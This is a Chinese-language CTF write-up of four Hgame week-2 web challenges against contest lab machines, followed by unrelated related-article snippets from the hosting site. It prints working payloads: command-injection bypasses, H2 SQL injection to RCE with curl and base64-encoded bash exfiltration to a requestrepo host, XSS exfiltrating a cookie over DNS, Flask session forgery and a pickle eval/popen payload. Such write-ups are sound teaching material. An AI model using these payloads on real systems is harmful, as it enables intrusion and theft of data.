Hgame題解(第二星期)

Hgame題解(第二星期)

Web

Select More Courses

打開靶機發現是一個登陸頁面,根據題目提示下載弱密碼字典,通過BP爆破獲得用戶密碼為qwert123

在這里插入圖片描述

登陸后進入下一個頁面,由于學分已滿無法選課,所以需要先進行選課擴學分申請,進入該頁面提示Race against time!,需要爆破申請,與 Week 1 類似可以寫python腳本進行申請,也可以使用BP的Intruder進行申請,這里采用BP

在這里插入圖片描述
在經過大量申請之后網站并不會返回其他值,但是再回到選課頁面時會發現學分上限提高了,也就可以自主選課了,選課很簡單,選完之后就可以拿到flag

在這里插入圖片描述

What the cow say?

在這里插入圖片描述
這題考察的命令注入,過濾了直接的命令但是沒有過濾反引號,反引號會將其包裹的內容作為命令執?后傳回給bash

嘗試ls /(左右兩邊要加反引號),發現能夠打印根目錄,并且看到了提示:flag_is_here
在這里插入圖片描述
通過ls /fla""g_is_here(雙引號繞過flag檢測),發現下面存在文件:flag_c0w54y
在這里插入圖片描述
使用ca""t /fla""g_is_here/fla""g_c0w54y即可打印出文件內容,拿到flag(通過string app.py還可以拿到網頁的pyton源碼)
在這里插入圖片描述

search4member

題目考點:堆疊注入+ H2 database RCE漏洞

打開靶機網站發現是一個查詢頁面

在這里插入圖片描述

下載附件,解壓后在文件夾中發現Java代碼(連接SQL)和數據庫代碼
使用?keyword=zzz%25' and 1>2 union SELECT 1,2,database();--+發現數據庫名為H2(提示使用的是H2 database),該數據庫有個RCE漏洞,原理是可以創建一個數據庫函數 SHELLEXEC ,通過該函數可以執行命令

創建SHELLEXEC的payload:

?keyword=zzz%25';CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : "";  }$$;CALL SHELLEXEC('curl 28zrgzsc.requestrepo.com');--+

帶出flag的payload:

?keyword=zzz%25';CALL SHELLEXEC('bash -c {echo,Y3VybCBgY2F0IC9mbGFnYC4yOHpyZ3pzYy5yZXF1ZXN0cmVwby5jb20=}|{base64,-d}|{bash,-i}');--+

其中Y3VybCBgY2F0IC9mbGFnYC4yOHpyZ3pzYy5yZXF1ZXN0cmVwby5jb20=解碼后的意思是curl cat /flag.28zrgzsc.requestrepo.com,即拼湊域名后通過DNS帶出數據,然后在DNS解析中找到對應部分的值
在這里插入圖片描述

梅開二度

題目考點:Go語言的SSTI,利用XSS

分析附件源碼發現程序使用的是text/template,而Go語言提供了兩個模板包。一個是 text/template,另一個是html/template。text/template不對傳入數據進行編碼,因此該模板并不適合構建 Web 應用程序,而html/template與text/template雖然相同,但增加了HTML編碼等安全保護,適用于構建web應用程序

根據提供的源代碼var re = regexp.MustCompile(script|file|on),發現會過濾script、file、on
根據if len(tmplStr) > 50,說明限制payload長度小于50
根據tmplStr = html.EscapeString(tmplStr),會轉義HTML字符串(也說明了可以通過tmplStr進行注入)

第一步:通過payload ?tmpl={{println 0B101101011011011110001010110}}測試是否存在SSTI,返回95272022,說明存在SSTI

第二步:通過?tmpl={{.Query Jay17}}&Jay17=<script>alert('XSS')</script>發現可以XSS

第三步:繼續分析源代碼,發現/bot路由用于獲取url參數(前提要求url的值是本地8080端口,此處的url是參數名而不是實際的鏈接),/flag路由將cookie設置為flag,前提是來源為本地

思路:首先訪問/bot目錄,該目錄提取url的值并判斷是否為本地訪問
(?url=http://127.0.0.1:8080)

然后在/bot這個路由下訪問/flag,相當于利用/bot路由跳轉了一次來滿足/flag要求的本地訪問(通過tmpl的JS代碼實現訪問),然后帶出flag

初始payload模板:

/bot?url=http://127.0.0.1:8080?tmpl={{.Query `Jay17`}}&Jay17=<script>(這里的部分是用于實現訪問的js代碼,訪問/flag并帶出cokkie值中的flag)`</script>

由于無法使用vps反向監聽,但是可以利用DNS解析地址獲得該值,原理是:

如果攻擊者想要泄露信息 “secret”,可能會生成一個如下的DNS查詢:
secret.evil.com
在這里,evil.com 是攻擊者控制的域名。當這個查詢被發送時,DNS解析請求會傳遞給攻擊者的DNS服務器。然后,攻擊者可以從DNS查詢中提取出 “secret” 數據。

完整payload(JS部分):

async function fetchData() {let x; // 用于存儲從網址B獲取的響應數據try {// 首先訪問網址Aconst responseA = await fetch('http://127.0.0.1:8080/flag');const dataA = await responseA.text();console.log('網址A訪問成功', dataA); // 顯示網址A的響應數據,如果需要// 然后訪問網址B,并將響應數據賦值給變量Xconst responseB = await fetch('http://127.0.0.1:8080/?tmpl={{.Cookie `flag`}}');x = await responseB.text();console.log('網址B訪問成功,數據已賦值給變量X');} catch (error) {console.error('訪問網址時發生錯誤:', error);return; // 出錯時提前退出函數}// DNS帶出try {const url = "http://jay17" + x.substring(6, 46) + ".kgb7xfn7.requestrepo.com/";window.open(url);console.log('已嘗試進行DNS帶出:', url);} catch (error) {console.error('DNS帶出過程中發生錯誤:', error);}
}// 調用函數
fetchData();

注意點:/bot路由和執行JS代碼的兩次解碼,無法使用document.cookie帶出cookie(因為cookie被標記為了HttpOnly,不能通過JS代碼訪問,只能通過http訪問),由于flag里面有其他符號,導致了DNS無法帶出數據(因此使用字符串截取.substring()方法,截取flag中花括號內的純字符)

myflask

題目考點:破解并仿造session + 利用pickle模塊實現RCE

打開靶機網頁,發現給出了源代碼,其中比較關鍵的是網站session密鑰是基于網站開啟時間生成的,也就是我們如果知道了網站的啟動那一時刻,就能夠獲得密鑰并生成自己的session,然后需要讓session的username的值為admin,如此就能通過pickle反序列化執行我們的攻擊命令

在這里插入圖片描述
第一步:獲取網站啟動時間,由于這是個比賽題目,所以靶機啟動時間很容易就能夠得到(打開靶機那個時刻),使用以下Python腳本即可獲取詳細啟動時間

import itertools
import flask_unsign
from flask_unsign.helpers import wordlist
import requests as r
import time# 定義字典文件路徑
wordlist_path = "wordlist.txt"# 生成包含所有可能四位數字組合的字典,每個數字前加上前綴"17"//17為具體小時,根據自己的修改
print("Generating wordlist...")
with open(wordlist_path, "w") as f:# 生成并寫入數字組合for x in itertools.product('0123456789', repeat=4):f.write('17' + "".join(x) + "\n")# 示例:直接使用硬編碼的cookie,實際應用中可能從響應中獲取
cookie_tamper = 'eyJ1c2VybmFtZSI6Imd1ZXN0In0.ZeBLxA.lexH-lsz7VWzLJ_nNwUcGytUsf0'//替換成自己的session
print("Got cookie: " + cookie_tamper)# 開始破解過程
print("Cracker Started...")
obj = flask_unsign.Cracker(value=cookie_tamper)# 記錄破解開始時間
before = time.time()# 使用生成的字典文件嘗試破解SECRET_KEY
with wordlist(wordlist_path, parse_lines=False) as iterator:obj.crack(iterator)# 如果找到了SECRET_KEY,顯示結果和用時
if obj.secret:secret = obj.secret.decode()print(f"Found SECRET_KEY {secret} in {time.time()-before} seconds")# 使用找到的SECRET_KEY簽名一個新的session數據new_session_data = {"time": time.time(), "authorized": True}signed_cookie = flask_unsign.sign(new_session_data, secret=secret)print(f"Signed Cookie: {signed_cookie}")

六位數字xxxxxx代表:
xx(小時)xx(分鐘)xx(秒)
在這里插入圖片描述

第二步:獲取session結構,使用以下Python腳本,輸入靶機返回的session獲得結構,即{'username': 'guest'},只要我們知道了結構和密鑰,我們就能夠仿造出admin的session

import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decodedef decryption(payload):payload, sig = payload.rsplit(b'.', 1)payload, timestamp = payload.rsplit(b'.', 1)decompress = Falseif payload.startswith(b'.'):payload = payload[1:]decompress = True# 檢查并添加必要的paddingpadding = '=' * ((4 - len(payload) % 4) % 4)payload += padding.encode()try:payload = b64decode(payload)except Exception as e:raise Exception('Could not base64 decode the payload because of an exception: ' + str(e))if decompress:try:payload = zlib.decompress(payload)except Exception as e:raise Exception('Could not zlib decompress the payload before decoding: ' + str(e))return session_json_serializer.loads(payload)if __name__ == '__main__':encoded_session = "eyJ1c2VybmFtZSI6Imd1ZXN0In0.ZeA6aA.wuZ6XevzyQ6X7oDKzdnrRidAToU".encode()print(decryption(encoded_session))

第三步:根據前面得到的{‘username’: ‘guest’}和密鑰171728生成新的session,腳本代碼:
from itsdangerous import URLSafeTimedSerializer

# 你的密鑰和數據
secret_key = '171728'
data = {'username': 'guest'}# 創建一個序列化器實例
serializer = URLSafeTimedSerializer(secret_key)# 序列化數據
serialized_data = serializer.dumps(data)print(f"Serialized session data: {serialized_data}")

在這里插入圖片描述

使用以下Python生成反序列化代碼,注意pickle版本一致

import pickle
import base64class A(object):def __reduce__(self):return (eval, ("__import__('os').popen('tac /flag').read()",))a = A()
a = pickle.dumps(a)
print(base64.b64encode(a))

然后利用post方法提交該生成代碼(注意偽造session):pickle_data=gASVRgAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwqX19pbXBvcnRfXygnb3MnKS5wb3BlbigndGFjIC9mbGFnJykucmVhZCgplIWUUpQu

即可得到flag

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/713045.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/713045.shtml
英文地址,請注明出處:http://en.pswp.cn/news/713045.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

回歸預測 | Matlab實現BiTCN基于雙向時間卷積網絡的數據回歸預測

回歸預測 | Matlab實現BiTCN基于雙向時間卷積網絡的數據回歸預測 目錄 回歸預測 | Matlab實現BiTCN基于雙向時間卷積網絡的數據回歸預測效果一覽基本介紹程序設計參考資料 效果一覽 基本介紹 1.Matlab實現BiTCN基于雙向時間卷積網絡的數據回歸預測&#xff08;完整源碼和數據&a…

推薦瑩瑩API管理系統PHP源碼

瑩瑩API管理系統PHP源碼附帶兩套模板,PHP版本要求為5.6至8.0之間&#xff0c;已測試通過的版本為7.4。 需要安裝PHPSG11加密擴展。 已測試&#xff1a;寶塔/主機親測成功搭建&#xff01; 演示地 址 &#xff1a; runruncode.com/php/19698.html 安裝說明&#xff08;適用于寶…

深入理解c指針(六)

目錄 九、函數指針數組 1、字符指針變量 2、數組指針變量 3、二維數組傳參的本質 4、函數指針變量 4.1 分析《C陷阱和缺陷》中的兩端代碼 4.2 typedef關鍵字 5、函數指針數組 6、函數指針數組的用途---轉移表 九、函數指針數組 1、字符指針變量 在指針的類型中我們知道…

教你如何判斷Java代碼中異步操作是否完成

在許多應用程序中&#xff0c;我們經常使用異步操作來提高性能和響應度。在Java中&#xff0c;我們可以使用多線程或者異步任務來執行耗時操作&#xff0c;并且在后臺處理過程完成后獲取結果。但是&#xff0c;在使用異步操作時&#xff0c;我們通常需要知道異步任務何時完成&a…

【C++精簡版回顧】15.繼承派生

1.繼承派生的區別 繼承&#xff1a;子繼父業&#xff0c;就是子類完全繼承父類的全部內容 派生&#xff1a;子類在父類的基礎上發展 2.繼承方式 1.public繼承為原樣繼承 2.protected繼承會把public繼承改為protect繼承 3.private繼承會把public&#xff0c;protected繼承改為pr…

怎么摳圖把把人物扣下來?簡單快捷的摳圖方法

相信很多新手小白在初入設計行業時&#xff0c;對于摳圖怎么把人物扣下來都是一頭霧水。摳圖作為設計中常用的一種技術&#xff0c;能夠幫助我們快速提取圖片中的某個部分&#xff0c;進行合成或者修改。對于老手來說&#xff0c;摳圖或許是再熟悉不過的操作&#xff0c;但對于…

【C++】仿函數與函數指針:C++中的強大工具

文章目錄 什么是函數指針&#xff1f;函數指針的基本語法&#xff1a; 什么是仿函數&#xff1f;仿函數的基本用法&#xff1a; 仿函數與函數指針的比較應用場景代碼舉例函數指針示例仿函數示例定義排序規則舉例使用函數指針使用仿函數哪一個更好&#xff1f; 結論 在C編程中&a…

c語言---數組(超級詳細)

數組 一.數組的概念二. 一維數組的創建和初始化2.1數組的創建2.2數組的初始化錯誤的初始化 2.3 數組的類型 三. 一維數組的使用3.1數組的下標3.2數組元素的打印3.2數組元素的輸入 四. 一維數組在內存中的存儲五. 二維數組的創建5.1二維數組的概念5.2如何創建二維數組 六.二維數…

【嵌入式學習】QT-Day4-Qt基礎

簡單實現鬧鐘播報&#xff0c;設置時間&#xff0c;當系統時間與設置時間相同時播報語音5次&#xff0c;然后停止。如果設置時間小于當前系統時間&#xff0c;則彈出消息提示框&#xff0c;并清空輸入框。 #include "my_clock.h" #include "ui_my_clock.h&quo…

批量處理圖片,像素隨心所欲,創意無限釋放!

在數字化時代&#xff0c;圖片批量處理已成為設計、攝影、電商等多個領域不可或缺的一部分。然而&#xff0c;傳統的圖片批量處理方式往往效率低下&#xff0c;難以滿足現代人對高效和精準的需求。現在&#xff0c;我們為您帶來了一款一鍵圖片批量處理工具&#xff0c;讓您自由…

【Vue】更換瀏覽器默認 logo

更換瀏覽器默認logo為自定義圖片 一. 瀏覽器默認 logo二. 替換為自定義logo三. 步驟3.1 轉換大小3.1.1 查看圖片尺寸3.1.2 修改尺寸&#xff08;為32px 32px&#xff09; 3.2 替換成功 一. 瀏覽器默認 logo 二. 替換為自定義logo 三. 步驟 3.1 轉換大小 將自定義 logo 轉為323…

docker搭建zookeeper集群

文章目錄 1. 集群搭建2. Leader選舉3. Zookeeper集群角色 1. 集群搭建 這里我們使用docker-compose 搭建偽集群 version: 3.1 services:zoo1:image: zookeeperrestart: alwayscontainer_name: zoo1ports:- 2181:2181volumes:- /home/zk/zoo1/data:/data- /home/zk/zoo1/datal…

React富文本編輯器開發(二)

我們接著上一節的示例內容&#xff0c;現在有如下需求&#xff0c;我們希望當我們按下某個按鍵時編輯器有所反應。這就需要我們對編輯器添加事件功能onKeyDown, 我們給 Editor添加事件&#xff1a; SDocor.jsx import { useState } from react; import { createEditor } from…

【LeetCode-178】最長重復子串(動歸)

目錄 LeetCode718.最長重復子串 題目描述 解法1&#xff1a;動態規劃 代碼實現 題目鏈接 題目描述 給兩個整數數組 A 和 B &#xff0c;返回兩個數組中公共的、長度最長的子數組的長度。 示例&#xff1a; 輸入&#xff1a; A: [1,2,3,2,1] B: [3,2,1,4,7] 輸出&…

協方差矩陣計算

文章目錄 協方差矩陣計算原理python實現 協方差矩陣 協方差矩陣反映了兩個隨機變量變化時是同向還是反向的&#xff08;相關性&#xff09;。 如果協方差>0&#xff0c;則說明這兩個隨機變量同向變化。 協方差矩陣<0&#xff0c;則說明是反向變化。 協方差矩陣0&#xf…

【LeetCode】347.前 K 個高頻元素

今日學習的文章鏈接和視頻鏈接 leetcode題目地址&#xff1a;347.前 K 個高頻元素 代碼隨想錄題解地址&#xff1a;代碼隨想錄 題目簡介 給你一個整數數組 nums 和一個整數 k &#xff0c;請你返回其中出現頻率前 k 高的元素。你可以按 任意順序 返回答案。 看到題目的第一…

Python-公共操作與推導式

一、公共操作 運算符 (1)&#xff1a;合并操作符 適用范圍&#xff1a;字符串、列表、元組 (2)*&#xff1a;復制 適用范圍&#xff1a;字符串、列表、元組 (3)in&#xff1a;判斷某字符串存在 (4)not in&#xff1a;判斷某字符串不存在 list1[1,2] list2[3,4] t1(1,2) t2(3,…

手把手教你在 CentOS7 上部署Ngrok (踩坑填坑)

一、項目準備 1、一個可用的域名&#xff08;不是必須&#xff0c;但是最好有&#xff09; 2、一臺有公網IP的服務器 二、項目實施 本文的操作過程主要參考了《教你自己服務器搭建Ngrok》&#xff0c;但是隨著時間的推移&#xff0c;很多軟件因版本升級而產生了一些變化&…

掌握 MySQL 的數據類型

知道了表是由不同數據類型的列組成的&#xff0c;然后填充了一行一行的數據。 當我們要創建表的時候&#xff0c;就要根據業務需求&#xff0c;選擇合適的數據類型。比如在實戰項目中&#xff0c;文章表就是由下面這些不同數據類型的字段定義的。 目前用到了 bigint、tinyint、…

vue3+ts+vite使用mock數據

安裝以下命令 npm i vite-plugin-mock --save-dev npm i mockjs --save-dev 在根路徑下創建mock文件夾 mock\user.ts const menuList [{path: /system,component: Layout,name: system,meta: {title: 系統管理,icon: Setting,roles: [sys:manage]},children: [{path: /depar…